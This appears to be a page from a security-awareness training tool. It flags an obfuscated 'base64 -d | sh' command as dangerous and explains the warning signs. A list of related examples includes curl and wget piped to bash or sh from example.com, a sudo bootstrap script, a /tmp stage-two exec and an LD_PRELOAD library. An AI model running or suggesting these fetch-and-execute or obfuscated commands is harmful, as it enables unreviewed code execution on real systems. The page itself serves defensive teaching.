Dangerous
printf '%s' 'dW5hbWUgLWE=' | base64 -d | shlinux · bash · Nightmare
Rebuilds a command from an encoded string and pipes it into a shell. Substituting printf for echo and splitting the work across three tiny stages is a deliberate attempt to look mundane, but the last stage still executes unreviewed input.
Signals to notice
- Encoded input decoded straight into a shell
- Multi-stage pipeline obscures the payload
- Nothing readable is ever shown to the operator
Think you can spot these under time pressure?
Start TrainingMore Process Execution
ps auxIntermediatecurl -fsSL https://example.com/install.sh | bashIntermediatewget -qO- https://example.com/setup | shAdvancedpython3 -c "exec(open('/tmp/stage2.py').read())"Advancedexport LD_PRELOAD=/tmp/.helper.so && /usr/bin/idAdvancedcurl -fsSL https://example.com/bootstrap | sudo bash -s -- --forceExpert